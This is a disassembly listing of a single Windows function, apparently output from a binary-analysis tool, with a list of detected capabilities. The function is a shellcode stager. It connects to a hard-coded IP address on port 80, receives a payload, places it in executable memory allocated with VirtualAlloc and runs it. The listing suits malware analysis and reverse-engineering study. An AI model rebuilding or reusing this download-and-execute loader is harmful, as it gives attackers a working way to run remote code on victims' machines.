Function at 0x401040
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40221b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x21bc
call fcn.00402160
mov eax, dword [0x404028]
xor eax, esp
mov dword [esp + 0x21b8], eax
push ebx
push esi
push edi
mov eax, dword [0x404028]
xor eax, esp
push eax
lea eax, [esp + 0x21d0]
mov dword fs:[0], eax
lea eax, [esp + 0x34]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4010c2
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push ecx
push ecx
push str.Failed_to_initialize_Winsock
push edx
call fcn.00401400
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x4012c3
xor esi, esi
push esi
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401104
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Failed_to_create_socket
push ecx
call fcn.00401400
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x4012c3
mov edx, 2
push 0x50
mov word [esp + 0x28], dx
call dword [sym.imp.WS2_32.dll_htons]
push str.154.7.14.14
mov word [esp + 0x2a], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x28], eax
push 0x10
lea eax, [esp + 0x28]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401173
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push ecx
push ecx
push str.Failed_to_connect_to_server
push edx
call fcn.00401400
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x4012c3
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push esi
push 0x2000
lea eax, [esp + 0x1cc]
push eax
mov dword [esp + 0x21e4], esi
mov ebx, dword [sym.imp.WS2_32.dll_recv]
push edi
call ebx
test eax, eax
jle 0x4011dd
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x1c8]
push edx
lea eax, [esp + eax + 0x1cc]
push ecx
lea esi, [esp + 0x20]
call fcn.00401670
push 0
push 0x2000
lea edx, [esp + 0x1cc]
push edx
push edi
call ebx
test eax, eax
jg 0x4011a1
mov esi, dword [esp + 0x14]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x401213
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Failed_to_load_kernel32.dll
push ecx
jmp 0x4012a5
push str.VirtualAlloc
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualFree
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x10], eax
test edi, edi
je 0x401291
test eax, eax
je 0x401291
mov ebx, dword [esp + 0x18]
push 0x40
push 0x1000
sub ebx, esi
push ebx
push 0
call edi
mov edi, eax
test edi, edi
jne 0x401266
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push edx
push ecx
push str.Failed_to_allocate_memory_for_shellcode
push eax
jmp 0x4012a5
push ebx
push esi
push edi
call sub.MSVCR100.dll_memcpy
add esp, 0xc
call edi
push 0x8000
push 0
push edi
call dword [esp + 0x1c]
test esi, esi
je 0x40128d
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
jmp 0x4012c8
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push ecx
push ecx
push str.Failed_to_get_address_of_VirtualAlloc_or_VirtualFree
push edx
call fcn.00401400
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
test esi, esi
je 0x4012c3
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x21d0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x21b8]
xor ecx, esp
call fcn.00401ade
mov esp, ebp
pop ebp
ret